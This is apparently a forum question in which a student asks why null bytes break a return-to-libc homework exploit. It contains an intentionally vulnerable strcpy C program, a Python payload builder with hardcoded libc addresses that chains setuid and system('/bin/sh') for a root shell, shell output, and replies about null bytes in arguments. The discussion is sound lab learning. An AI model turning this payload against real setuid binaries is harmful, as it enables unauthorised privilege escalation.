I am trying to do a returntolibc exploit. The goal is to gain a shell with root privilege by calling setuid(0) and then system("/bin/sh"). I have been agonizing over trying to get this thing to accept my payload, but bash keeps deleting the argument for setuid since it's made up of null bytes.

The binary has been compiled as 32 bit with no stack protectors, ASLR is disabled, and the NX bit is on. I'm trying to exploit this vulnerable C code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void func(char *s) {
  char buffer[60]; // vulnerable
  strcpy(buffer, s);

int main(int argc, char **argv) {
  if (argc == 1) {
    fprintf(stderr, "Enter a string!\n");

and I also have a payload written which I have to run with Python 2.7.17:

import struct

binadd = struct.pack("<I", 0xf7f6a9db) # address of "/bin/sh"
zeroarg = struct. Pack("<I", 0x00000000) # doesn't work
# zeroarg = struct. Pack("<I", 0x10101010) # but this will! and change the uid to 0x10101010(but in decimal)
sysadd = struct. Pack("<I", 0xf7e2bf10) # address of system()
suidadd = struct.pack("<I", 0xf7eadcb0) # address of setuid()

padding = 'A' * 72
payload = padding
payload += suidadd
payload += sysadd
payload += zeroarg
payload += binadd

with open("begging", "wb") as f:

I can make the uid anything I want as long as there are no null bytes in the input to setuid/zeroarg. When setting zeroarg to 0x10101010, this is the output I get:

user1@e77796fdd4b6:~$ ./hw3_2 $(cat begging)
$ whoami
whoami: cannot find name for user ID 16843009
$ id
uid=16843009 gid=1000(user1) groups=1000(user1)

But if I run it with zeroarg as 0x00000000, then this is what I get:

user1@e77796fdd4b6:~$ ./hw3_2 $(cat begging)
bash: warning: command substitution: ignored null byte in input
sh: 1: : not found
Segmentation fault

I cannot for the life of me figure out another way to get my payload in without it somehow destroying zeroarg in the process. I've tried printing it directly through python, using redirection operators, using call() from subprocess, and more. The only way I can even get it to run successfully is through using $(cat begging).

I am positively at a loss for what to do. Any help in any form would be greatly, greatly appreciated. If any more information is needed, then I will happily oblige. Thank you.

  • Maybe im missing something ... but your trying to get a return-to-libc exploit to call /bin/sh ... if bash is catching you up on null bytes ... why are you continuing to use bash? Change the shell you are initiating the attack on from bash to /bin/sh. Commented Mar 30 at 11:57
  • If for some reason you have to use bash, set IFS='' like so: codepad.org/RGlzAeaW Commented Mar 30 at 12:15
  • Welcome to the community. You might need to escape the null bytes and are you trying to do a NOP sled? Commented Mar 30 at 14:38
  • @CaffeineAddiction Thanks for your help. I have tried using /bin/sh to execute it but the same problem occurs. When I attempt to use your fix, it still gives me warning: command substitution: ignored null byte in input, and the output remains seemingly unchanged: 00000000: 4865 6c6c 6f57 6f72 6c64 0a HelloWorld.. I do not have to use bash, so there might be something there.
    – germphjd
    Commented Mar 30 at 17:39
  • 1
    @CaffeineAddiction+ On many Linux systems /bin/sh is bash (but with POSIX mode enabled). Even on systems where /bin/sh is something else, like dash on Debian/Ubuntu or ash on FreeBSD, it may not retain nulls in command substitution output; the only one I know that does is zsh. And even if it does retain the nulls it can't pass them in an argument to a different program; Unix doesn't support exec arguments containing null. And even if you used something other than Unix that does support arguments containing null, the attack wouldn't work, because strcpy wouldn't copy it. Commented Mar 31 at 1:31


You must log in to answer this question.

Browse other questions tagged .